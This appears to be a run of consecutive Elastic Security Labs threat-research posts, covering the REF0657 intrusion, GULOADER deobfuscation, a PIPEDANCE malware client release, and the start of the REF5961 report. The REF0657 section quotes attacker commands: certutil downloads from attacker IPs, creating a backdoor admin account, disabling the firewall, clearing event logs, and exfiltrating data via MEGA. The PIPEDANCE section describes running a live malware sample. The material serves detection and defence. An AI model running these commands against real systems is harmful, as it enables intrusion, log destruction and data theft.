In December of 2023, Elastic Security Labs detected a smash-and-grab style intrusion directed at a financial services organization in South Asia. Throughout the breach, a diverse set of open-source tools were employed within the victim's environment, some of which we encountered for the first time. The threat group engaged in different post-compromise activities: from discovery/enumeration to utilizing the victim's internal enterprise software against them and eventually leveraging different tunnelers and side-loading techniques to execute Cobalt Strike. In addition, the adversary used the file hosting service Mega to exfiltrate data from the network.

By disclosing the details of this intrusion set (REF0657) and the various tactics, techniques, and procedures (TTPs), we hope to assist fellow defenders and organizations in recognizing and monitoring this type of activity.

Key takeaways

REF0657 targeted financial services in South Asia
This group leveraged a broad range of post-compromise behaviors, including backdoor access using Microsoft SQL Server, dumping credentials, wiping event logs, and exfiltrating data using MEGA CMD
The activity included an assortment of network tunnelers and proxy tools as well as Cobalt Strike and ties to infrastructure using the C2 framework, Supershell

Campaign analysis

Our team identified the initial enumeration happening in a customer environment on December 17, 2023. While we didn't have visibility around the root cause of the infection, we continued to monitor the environment. Over the next several weeks, we discovered seven different hosts, mainly servers, exhibiting a large swath of activity, including:

Discovery/enumeration
Downloading additional tools/components
Renaming and staging tools in legitimate folder locations in the environment
Dumping credentials from the registry and adding users to machines
Modifying the environment to enable lateral movement and persistence
Executing proxy tunnelers and shellcode to maintain access into the environment
Compressing and exfiltrating data using cloud services provider Mega
Wiping event logs on multiple machines

Execution Flow / Timeline

A significant portion of the activity observed by our team came through command-line execution abusing Microsoft SQL Server (sqlservr.exe). While we couldn’t pinpoint the root cause, we have reason to believe the attacker gained access to the environment through this remotely accessible server and then started executing commands and running programs using the MSSQL’s stored procedure (xp_cmdshell). This initial endpoint served as the beachhead of the attack where all activity seemed to originate from here.

Discovery/Enumeration/Staging

The threat actor used several standard Windows utilities for initial discovery and enumeration. The following graphic shows the different commands spawned from the parent process (sqlservr.exe):

Oftentimes, the attacker checked to verify their payloads were running, reviewed network connections on victim machines, and performed directory listings to check on their different files.

After initial access was gained, the actor tried several methods for downloading additional payloads and tooling. The adversary started to use certutil.exe and then moved to bitsadmin.exe, PowerShell’s DownloadFile() method, and eventually back to certutil.exe. These different tools interacted with IP addresses (149.104.23[.]17 and 206.237.3[.]150).

Lateral Movement + Persistence

As the actors moved in the environment, they leveraged remote SMB and WMI to create a local administrator account named "helpdesk" on each machine. In some cases, they set up a randomly named Windows service (qLVAMxSGzP) as a persistence mechanism. This service would execute a temporary batch file with commands to add a local user and insert this user into the local administrator group. After execution, the file would then be deleted.

%COMSPEC% /Q /c echo net user helpdesk P@ssw0rd /add && \ 
net localgroup administrators helpdesk /add \ 
^> \\127.0.0.1\C$\FOUGTZ 2^>^&1 > %TEMP%\VOruiL.bat & \ 
%COMSPEC% /Q /c %TEMP%\VOruiL.bat & %COMSPEC% /Q /c del %TEMP%\VOruiL.bat

Execution

The adversary moved to Cobalt Strike for C2 and further execution. This time, they used a legitimately signed version of Trend Micro’s Deep Security Monitor (ds_monitor.exe). This was used to load Cobalt Strike by side-loading a malicious DLL (msvcp140.dll). We observed the download of the DLL from a certutil.exe execution, and then we confirmed this behavior via call stack telemetry.

"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \ 
ht""""tp://206.237.3[.]150:443/1.txt \ 
C:\users\public\downloads\msvcp140.dll

The screenshot below shows that the actor placed the TrendMicro application inside a directory labeled McAfee in ProgramData. We can see the malicious DLL being loaded from the same directory by checking the call stack.

Shortly after, Run Key persistence was added to execute (ds_monitor.exe) on system startup.

reg  add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v \ 
TrendMicro /t REG_SZ /d \ 
"C:\ProgramData\McAfee\TrendMicro\ds_monitor.exe" /f /reg:64

An analysis on msvcp140.dll reveals that the threat actor tampered with the DllEntryPoint of the legit Windows DLL by substituting it with modified code sourced from a public repository - this is a custom Cobalt Strike memory evasion loader.

While the original code retrieved the Cobalt Strike beacon from memory, the altered version loads a beacon in base64 format from a file named config.ini that connects to msedge[.]one.

Dumping credentials

One of the main methods observed for gathering credentials was dumping the Security Account Manager (SAM) registry hive on different servers.

Network/Registry/Logging Modifications

The threat actor modified several different configurations and settings to help further increase their access to the environment. One of our first observations of this behavior was enabling RDP (set value to 0) through the registry at the following path (HKLM\SYSTEM\ControlSet001\Control\Terminal Server\fDenyTSConnections). Then, they disabled the Windows Firewall rules using the command:NetSh Advfirewall set allprofiles state off.

Afterward, they enabled Restricted Admin mode through a registry modification, this allowed the adversary to conduct pass-the-hash style attacks against Remote Desktop Protocol (RDP).

cmd.exe /Q /c REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" \ 
/v DisableRestrictedAdmin /t REG_DWORD /d 00000000 \ 
/f 1> \\127.0.0.1\C$\Windows\Temp\RExePi 2>&1

In addition to these changes, the attacker also wiped the Windows event logs for System and Security notifications using the Windows Event Utility, wevtutil.exe:

cmd.exe /Q /c wevtutil.exe cl System 1> \ 
\\127.0.0.1\C$\Windows\Temp\ksASGt 2>&1

cmd.exe /Q /c wevtutil.exe cl Security 1> \ 
\\127.0.0.1\C$\Windows\Temp\uhxJiw 2>&1

Tunneling/Proxy Tools

After a day of initial access, the adversary generated several shellcode injection alerts using AppLaunch.exe (a binary that manages and executes applications built with Microsoft's .NET Framework) and outputting the results to a file called 1.txt. The command line argument associated with this alert is as follows: c:\programdata\AppLaunch.exe proxy -r 206.237.0[.]49:12355 >> 1.txt

After examining the injected code, we identified the shellcode as a Golang binary known as iox, which can be compiled from the following publicly available repository. This tool is designed for port forwarding and proxying with additional features such as traffic encryption. Based on the observed command line, the attacker established a proxy connection to 206.237.0[.]49 on port 12355.

Intended or not, the proxy utility was launched by several different legitimate processes: lsass.exe, vmtoolsd.exe, and mctray.exe. In this case, the threat actor side-loaded a common malicious unsigned DLL (mscoree.dll) located in the C:\programdata\ directory.

The actor employed another proxy known as Rakshasa, downloaded directly from the tool's official GitHub page using the certutil command. It was stored in c:\users\public\downloads\ra.exe, and then executed with the following command: C:\Windows\system32\cmd.exe /C C:\Users\Public\Downloads\ra.exe -d 149.104.23[.]176:80.

This command creates a proxy tunnel to the threat actor infrastructure, connecting to the IP address 149.104.23.176 on port 80. If that wasn’t enough, the actor started to send and retrieve data from the network through ICMP tunneling. For example, when the actor executed the tasklist command, the output was saved to C:\programdata\re.txt, and exfiltrated through ICMP using PowerShell.

Exfiltration

One of the more noteworthy parts of this intrusion was centered around the adversary downloading MEGA Cmd, a command-line utility that works with the Mega file hosting service. While still leveraging MSSQL, they downloaded this program, renaming it to ms_edge.exe.

"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \ 
ht""""tp://206.237.3.150:443/megacmd.exe \ 
C:\users\public\downloads\ms_edge.exe

Shortly after, we observed this utility being executed with an argument to a configuration file (called tmp) and a compressed file stored with a backup extension (.bak) being used in conjunction with Mega.

C:\users\public\downloads\ms_edge.exe  --config \ 
C:\users\public\downloads\tmp copy \ 
REDACTED_FILENAME.bak mega_temp:

Infrastructure

Throughout this investigation, the threat group used several servers to host their payloads or forward network traffic. The Elastic Security Labs team discovered two web servers with open directories hosting files publicly reachable on:

206.237.3[.]150
206.237.0[.]49

!Open directory at 206.237.3[.]150

In addition, our team observed Supershell panel, a Chinese-based C2 platform running on 206.237.[0].49:8888.

!Supershell Panel on 206.237.0[.]49

We validated an earlier finding in the previous section when we found a configuration file (referred to as tmp in the Exfiltration section) used for automation with the Mega platform containing credentials used by the adversary. As well, there was a variety of web shell files and scripts originating from the following public repositories:

Furthermore, within these directories, we identified a few interesting binaries:

cloud_init

One of the files (cloud_init) is a Golang ELF binary packed with UPX. After inspection, it was determined that it was compiled from the NPS repository, another intranet proxy server compatible with most common protocols. The threat actor altered the code to encrypt the strings during compilation. The decryption process uses separate byte arrays where the bytes of one array are combined with the bytes of the other array, employing operations such as addition, XOR, or subtraction for the decryption.

MSASN1.dll

After review, this DLL matched the same functionality/code as the previously discussed file (msvcp140.dll).

REF0657 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. The adversary’s tactical goal is the reason for performing an action. The tactics observed in REF0657 were:

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action. Elastic Security Labs observed the following techniques within REF0657:

Summary

In summary, this intrusion highlighted some new tooling while re-emphasizing that not all intrusions are dictated by novel malware and techniques. These types of threats demonstrate the real-world challenges most organizations are faced with daily.

The threat group moved very quickly in this environment, where within almost 24 hours, meaningful data to the attacker was extracted from the network. Sharing some of these details can help defenders plug possible holes or gaps in coverage from some of these techniques.

The Diamond Model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Detecting REF0657

The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:

Detection

Prevention

Hunting queries in Elastic

Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

ES|QL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below ES|QL queries to hunt for similar behaviors:

FROM logs-*
  WHERE process.parent.name == "sqlservr.exe" 
  AND process.name == "cmd.exe" 
  AND process.command_line 
  RLIKE ".*certutil.*"

FROM logs-*
  WHERE process.name == "ms_edge.exe" 
  AND process.code_signature.exists == false 
  AND NOT process.executable 
  RLIKE ".*Program Files.*"

YARA

Elastic Security has created the following YARA rules to identify this activity:

Observations

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|-------------|-------------|--------------------------------------------| | 206.237.3[.]150 | ipv4-addr | | File hosting infrastructure | | 206.237.0[.]49 | ipv4-addr | | File hosting and supershell infrastructure | | 104.21.54[.]126 | ipv4-addr | | Cobalt Strike infrastructure | | 149.104.23[.]176 | ipv4-addr | | | | msedge[.]one | domain-name | | Cobalt Strike infrastructure | | bc90ef8121d20af264cc15b38dd1c3a866bfe5a9eb66064feb2a00d860a0e716 | SHA-256 | mscoree.dll | | | 84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d | SHA-256 | MSASN1.dll | |

About Elastic Security Labs

Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at www.elastic.co/security-labs/.

Getting gooey with GULOADER: deobfuscating the downloader

Daniel Stepanic — Wed, 06 Dec 2023 00:00:00 GMT

Overview

Elastic Security Labs continues to monitor active threats such as GULOADER, also known as CloudEyE – an evasive shellcode downloader that has been highly active for years while under constant development. One of these recent changes is the addition of exceptions to its Vectored Exception Handler (VEH) in a fresh campaign, adding more complexity to its already long list of anti-analysis tricks.

While GULOADER’s core functionality hasn’t changed drastically over the past few years, these constant updates in their obfuscation techniques make analyzing GULOADER a time-consuming and resource-intensive process. In this post, we will touch on the following topics when triaging GULOADER:

Reviewing the initial shellcode and unpacking process
Finding the entrypoint of the decrypted shellcode
Discuss update to GULOADER’s VEH that obfuscates control flow
Provide a methodology to patch out VEH

Initial Shellcode

In our sample, GULOADER comes pre-packaged inside an NSIS (Nullsoft Scriptable Install System) installer. When the installer is extracted, the main components are:

NSIS Script - This script file outlines all the various configuration and installation aspects.

System.dll - Located under the $PLUGINSDir. This file is dropped in a temporary folder to allocate/execute the GULOADER shellcode.

Shellcode - The encrypted shellcode is buried into a nested folder.

One quick methodology to pinpoint the file hosting the shellcode can be done by monitoring ReadFile events from SysInternal’s Process Monitor after executing GULOADER. In this case, we can see that the shellcode is read in from a file (Fibroms.Hag).

GULOADER executes shellcode through callbacks using different Windows API functions. The main reasoning behind this is to avoid detections centered around traditional Windows APIs used for process injection, such as CreateRemoteThread or WriteProcessMemory. We have observed EnumResourceTypesA and CallWindowProcW used by GULOADER.

By reviewing the MSDN documentation for EnumResourceTypesA, we can see the second parameter expects a pointer to the callback function. From the screenshot above, we can see that the newly allocated shellcode is placed into this argument.

Finding Main Shellcode Entrypoint

In recent samples, GULOADER has increased the complexity at the start of the initial shellcode by including many different junk instructions and jumps. Reverse engineering of the downloader can require dealing with a long process of unwinding code obfuscation designed to break disassembly and control flow in some tooling, making it frustrating to find the actual start of the core GULOADER shellcode.

One methodology for finding the initial call can be leveraging graph view inside x64dbg and using a bottom-to-top approach to look for the call eax instruction.

Another technique to trace the initial control flow involves leveraging the reversing engineering framework Miasm. Below is a quick example where we can pass in the shellcode and disassemble the instructions to follow the flow:

from miasm.core.locationdb import LocationDB
from miasm.analysis.binary import Container
from miasm.analysis.machine import Machine

with open("proctoring_06BF0000.bin", "rb") as f:
    code = f.read()

loc_db = LocationDB()
c = Container.from_string(code, loc_db)

machine = Machine('x86_32')
mdis = machine.dis_engine(c.bin_stream, loc_db=loc_db)
mdis.follow_call = True 
mdis.dontdis_retcall = True
asm_cfg = mdis.dis_multiblock(offset=0x1400)

Miasm cuts through the 142 jmp instructions and navigates through the junk instructions where we have configured it to stop on the call instruction to EAX (address: 0x3bde).

JMP        loc_3afd
->    c_to:loc_3afd 
loc_3afd
MOV        EBX, EAX
FADDP      ST(3), ST
PANDN      XMM7, XMM2
JMP        loc_3b3e
->    c_to:loc_3b3e 
loc_3b3e
SHL        CL, 0x0
PSRAW      MM1, MM0
PSRLD      XMM1, 0xF1
JMP        loc_3b97
->    c_to:loc_3b97 
loc_3b97
CMP        DL, 0x3A
PADDW      XMM3, XMM5
PXOR       MM3, MM3
JMP        loc_3bde
->    c_to:loc_3bde 
loc_3bde
CALL       EAX

Tail end of Miasm

GULOADER’s VEH Update

One of GULOADER’s hallmark techniques is centered around its Vectored Exception Handling (VEH) capability. This feature gives Windows applications the ability to intercept and handle exceptions before they are routed through the standard exception process. Malware families and software protection applications use this technique to make it challenging for analysts and tooling to follow the malicious code.

GULOADER starts this process by adding the VEH using RtlAddVectoredExceptionHandler. Throughout the execution of the GULOADER shellcode, there is code purposely placed to trigger these different exceptions. When these exceptions are triggered, the VEH will check for hardware breakpoints. If not found, GULOADER will modify the EIP directly through the CONTEXT structure using a one-byte XOR key (changes per sample) with a one-byte offset from where the exception occurred. We will review a specific example of this technique in the subsequent section. Below is the decompilation of our sample’s VEH:

Although this technique is not new, GULOADER continues to add new exceptions over time; we have recently observed these two exceptions added in the last few months:

EXCEPTION_PRIV_INSTRUCTION
EXCEPTION_ILLEGAL_INSTRUCTION

As new exceptions get added to GULOADER, it can end up breaking tooling used to expedite the analysis process for researchers.

EXCEPTION_PRIV_INSTRUCTION

Let’s walk through the two recently added exceptions to follow the VEH workflow. The first exception (EXCEPTION_PRIV_INSTRUCTION), occurs when an attempt is made to execute a privileged instruction in a processor’s instruction set at a privilege level where it’s not allowed. Certain instructions, like the example below with WRSMR expect privileges from the kernel level, so when the program is run from user mode, it will trigger the exception due to incorrect permissions.

EXCEPTION_ILLEGAL_INSTRUCTION

This exception is invoked when a program attempts to execute an invalid or undefined CPU instruction. In our sample, when we run into Intel virtualization instructions such as vmclear or vmxon, this will trigger an exception.

Once an exception occurs, the GULOADER VEH code will first determine which exception code was responsible for the exception. In our sample, if the exception matches any of the five below, the code will take the same path regardless.

EXCEPTION_ACCESS_VIOLATION
EXCEPTION_ILLEGAL_INSTRUCTION
EXCEPTION_PRIV_INSTRUCTION
EXCEPTION_SINGLE_STEP
EXCEPTION_BREAKPOINT

GULOADER will then check for any hardware breakpoints by walking the CONTEXT record found inside the EXCEPTION_POINTERS structure. If hardware breakpoints are found in the different debug registers, GULOADER will return a 0 into the CONTEXT record, which will end up causing the shellcode to crash.

If there are no hardware breakpoints, GULOADER will retrieve a single byte which is 7 bytes away from the address that caused the exception. When using the last example with vmclear, it would retrieve byte (0x8A).

Then, using that byte, it will perform an XOR operation with a different hard-coded byte. In our case (0xB8), this is unique per sample. Now, with a derived offset 0x32 (0xB8 ^ 0x8A), GULOADER will modify the EIP address directly from the CONTEXT record by adding 0x32 to the previous address (0x7697630) that caused the exception resulting in the next code to execute from address (0x7697662).

With different junk instructions in between, and repeatedly hitting exceptions (we counted 229 unique exceptions in our sample), it’s not hard to see why this can break different tooling and increase analyst time.

Control Flow Cleaning

To make following the control flow easier, an analyst can bypass the VEH by tracing the execution, logging the exceptions, and patching the shellcode using the previously discussed EIP modification algorithm. For this procedure, we leveraged TinyTracer, a tool written by @hasherezade that leverages Pin, a dynamic binary instrumentation framework. This will allow us to catch the different addresses that triggered the exception, so using the example above with vmclear, we can see the address was 0x7697630, generated an exception calling KiUserExceptionDispatcher, a function responsible for handling user-mode exceptions.

Once all the exceptions are collected and filtered, these can be passed into an IDAPython script where we walk through each address, calculate the offset using the 7th byte over and XOR key (0xB8), then patch out all the instructions generating exceptions with short jumps.

The following image is an example of patching instructions that trigger exceptions at addresses 0x07697630 and 0x0769766C.

Below is a graphic representing the control flow graph before the patching is applied globally. Our basic block with the vmclear instruction is highlighted in orange. By implementing the VEH, GULOADER flattens the control flow graph, making it harder to trace the program logic.

After patching the VEH with jmp instructions, this transforms the basic blocks by connecting them together, reducing the complexity behind the flow of the shellcode.

Using this technique can accelerate the cleaning process, yet it’s important to note that it isn’t a bulletproof method. In this instance, there still ends up being a good amount of code/functionality that will still need to be analyzed, but this definitely goes a long way in simplifying the code by removing the VEH. The full POC script is located here.

Conclusion

GULOADER has many different features that can break disassembly, hinder control flow, and make analysis difficult for researchers. Despite this and the process being imperfect, we can counter these traits through different static or dynamic processes to help reduce the analysis time. For example, we observed that with new exceptions in the VEH, we can still trace through them and patch the shellcode. This process will set the analyst on the right path, closer to accessing the core functionality with GULOADER.

By sharing some of our workflow, we hope to provide multiple takeaways if you encounter GULOADER in the wild. Based on GULOADER’s changes, it's highly likely that future behaviors will require new and different strategies. For detecting GULOADER, the following section includes YARA rules, and the IDAPython script from this post can be found here. For new updates on the latest threat research, check out our malware analysis section by the Elastic Security Labs team.

YARA

Elastic Security has created different YARA rules to identify this activity. Below is an example of one YARA rule to identify GULOADER.

rule Windows_Trojan_Guloader {
    meta:
        author = "Elastic Security"
        creation_date = "2023-10-30"
        last_modified = "2023-11-02"   
        reference_sample = "6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99"
        severity = 100
        arch = "x86"
        threat_name = "Windows.Trojan.Guloader"
        license = "Elastic License v2"
        os = "windows"
    strings:
        $djb2_str_compare = { 83 C0 08 83 3C 04 00 0F 84 [4] 39 14 04 75 }
        $check_exception = { 8B 45 ?? 8B 00 38 EC 8B 58 ?? 84 FD 81 38 05 00 00 C0 }
        $parse_mem = { 18 00 10 00 00 83 C0 18 50 83 E8 04 81 00 00 10 00 00 50 }
        $hw_bp = { 39 48 0C 0F 85 [4] 39 48 10 0F 85 [4] 39 48 14 0F 85 [7] 39 48 18 }
        $scan_protection = { 39 ?? 14 8B [5] 0F 84 }
    condition:
        2 of them
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|-----------|-------------------------|--------------------------| | 6ae7089aa6beaa09b1c3aa3ecf28a884d8ca84f780aab39902223721493b1f99 | SHA-256 | Windows.Trojan.Guloader | GULOADER downloader | | 101.99.75[.]183/MfoGYZkxZIl205.bin | url | NA | GULOADER C2 URL | | 101.99.75[.]183 | ipv4-addr | NA | GULOADER C2 IP |

References

Dancing the night away with named pipes - PIPEDANCE client release

Daniel Stepanic — Thu, 05 Oct 2023 00:00:00 GMT

Introduction

This year at VB2023, a globally renowned malware conference, Daniel Stepanic of the Elastic Security Labs team presented new insights into PIPEDANCE – a malware we disclosed earlier this year. In addition to the talk, we released a client application that enables threat research, offering learning opportunities for both offensive and defensive teams. In this publication, we will walk through this client application’s functionality and how to get started with the tool. Our goal with this research is to help defenders improve their understanding of PIPEDANCE by emulating techniques from this malware, used by a formidable threat group. This includes different behaviors such as:

Command and control communication through named pipes
Different styles of process injection
Performing network connectivity checks
System/network discovery and enumeration

Recap

PIPEDANCE is a custom malware family used by a state-sponsored group to perform post-compromise activities. It's purpose-built to enable lateral movement, deploy additional implants, and perform reconnaissance functions. PIPEDANCE uses named pipes as its main channel for command and control communication. With a variety of unique features, we believe it’s a useful example to share for research purposes and can help defenders validate security tooling.

For a detailed analysis of the PIPEDANCE malware, check out our previous research.

Development

To get a better understanding of different features within malware, our team at Elastic Security Labs sometimes writes custom applications and controllers to interact with the malware or malware infrastructure. This process helps cultivate knowledge of a sample’s core features, assists in understanding the control flow better, and further validates different areas such as inputs and outputs to functions and data structures. Another key benefit is to uncover functionality that was not directly observed during an intrusion but is still contained in the malware. This allows our team to collect more intelligence, build additional detections, and understand more of the adversary’s objectives behind the malware.

While we don't cover these exact scenarios in this publication, here are some things that you can do with the client (but you may think of others):

Understand how malware abuses named pipes
Verify data sources for security tooling around network activity using named pipes
Build a network decoder using PCAP data from PIPEDANCE’s communication requests

With the release of the client, we're hoping that the community can write additional PIPEDANCE clients in your favorite language and compare notes.

Getting Started

Note: Please review the requirements before setting up the lab environment. For this example, we will use two different endpoints in the same local network where named pipes, inter-process communication, and SMB settings are configured properly.

The first step is to download the PIPEDANCE sample (free registration required) and start the program without any arguments on one endpoint. This machine is the targeted endpoint where the adversary is interested in running additional implants and performing reconnaissance. After execution, a named pipe will be created and await an incoming connection from our client.

.\e5ae20ac5bc2f02a136c3cc3c0b457476d39f809f28a1c578cda994a83213887

Now that PIPEDANCE is running on our targeted machine, download and compile the client files within the repository. The PIPEDANCE malware uses a hard-coded string, u0hxc1q44vhhbj5oo4ohjieo8uh7ufxe, that serves as the named pipe name and RC4 key.

Take the newly compiled client program and execute it on a separate endpoint with one argument using either the target IP address or hostname of the machine running PIPEDANCE (machine from the previous step). An example of this would be:

pipedance_client.exe 192.168.47.130

After execution, the client will check in with the PIPEDANCE victim to retrieve the PID of the malicious process, working directory, and user running the process. A menu of commands should be listed allowing the operator to perform various post-compromise activities.

The appendix below contains the functions and their supported arguments.

Conclusion

As part of our research investigating PIPEDANCE, we are releasing a client application that interacts with the malware. This tool can be used to evaluate existing security prevention/detection technologies as well as used for threat research purposes. Please check out our repository, there is also a detection section with behavioral/YARA/hunting rules.

Appendix

Handler Commands

| Command ID | Description | Arguments | |---|---|---| | 0 | Stop | PIPEDANCE client | | 1 | Terminate process by PID | PID (ex. 9867) | | 2 | Run shell command and print output | Command (ex. ipconfig) |
| 4 | List files in current working directory | | 6 | Write file to disk | Filename (full path), file content | | 7 | Get current working directory | | 8 | Change current working directory | Folder path | | 9 | List running processes | | 23 | Create random process with hijacked token from provided PID and inject shellcode (32bits) | PID (token hijack), shellcode | | 24 | Create random process with hijacked token from provided PID and inject shellcode (64bits) | PID (token hijack), shellcode | | 25 | Open process from provided PID and inject shellcode (32bits) | PID (thread hijack), shellcode | | 26 | Open process from provided PID and inject shellcode (64bits) | PID (thread hijack), shellcode | | 71 | HTTP connectivity check | Domain (ex. google.com)
| 72 | DNS connectivity check with provided DNS server IP | DNS server IP | 73 | ICMP connectivity check | ICMP server IP | | 74 | TCP connectivity check | IP, port | | 75 | DNS connectivity check without DNS server | | 99 | Disconnect pipe / exit thread | | 100 | Terminate PIPEDANCE process / disconnect Pipe / exit thread |

Introducing the REF5961 intrusion set

Daniel Stepanic,Salim Bitam,Cyril François,Seth Goodwin,Andrew Pease — Wed, 04 Oct 2023 00:00:00 GMT

Preamble

Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.

Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.

In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.

The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting here and updated here). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).

Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.

Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth here.

Key takeaways

Elastic Security Labs is disclosing three new malware families:
EAGERBEE
RUDEBIRD
DOWNTOWN
Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns
The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities

EAGERBEE

EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.

During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as LuckyMouse (APT27, EmissaryPanda).

Code analysis

EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.

Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.

After resolving all the required Windows APIs, the malware creates a mutex with the string mstoolFtip32W to prevent multiple instances of the malware from running on the same machine.

The malware gathers key information about the compromised system:

The computer's name is obtained using the GetComputerNameW function
The malware retrieves the Windows version by utilizing the GetVersionExW function
A globally unique identifier (GUID) is generated through the CoCreateGuid function
The processor architecture information is acquired using the GetNativeSystemInfo function
The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion

The sample’s operational schedule is controlled by the string 0-5:00:23;6:00:23;. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:

active from Sunday(0) to Friday(5)
all hours between 00 and 23
Saturday(6) all hours between 00 and 23

This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.

The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named c:\users\public\iconcache.mui. This file is decrypted using the first character as the decryption key.

This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure IP:PORT, where the character s is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.

The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.

A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.

In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.

When operating in active connection mode, the malware attempts to load its configuration from the file c:\users\public\iconcache.mui. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs

The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.

Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.

The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the ProxyEnable registry key within Software\Microsoft\windows\CurrentVersion\Internet Settings. If this key value is set to 1, the malware extracts the information in the ProxyServer key.

If no proxy server is set, the malware connects directly to C2.

However, if the proxy settings are defined, the malware also initializes the proxy by sending a CONNECT request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote DONNECT instead of CONNECT in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.

Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.

EAGERBEE connection to a Mongolian campaign

During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE samples involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (iconcache.mui for EAGERBEE and iconcaches.mui in the Mongolian campaign). The samples consisted of multiple files and a lure document.

While analyzing the Mongolian campaign samples, we found a previous webpage (http://president[.]mn/en/ebooksheets.php) hosted under Mongolian infrastructure serving a RAR file named 20220921_2.rar. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.

The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important topic in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.

For this infection chain, they leveraged a signed Kaspersky application in order to sideload a malicious DLL. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (www.president[.]mn/upload.php) via cURL. Persistence is configured using a Registry Run Key.

Note: Though it does not contain the .gov second-level domain, www.president[.]mn does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to oyunbold@datacenter.gov[.]mn which appears to be legitimate. Based on string formatting and underlying behavior, this sample aligns with public reporting from AVAST related to a utility they call DataExtractor1.

While we didn’t find a WinRAR archive for the other linked sample, we found this related executable. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (https://intranet.gov[.]mn/upload.php).

While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.

EAGERBEE Summary

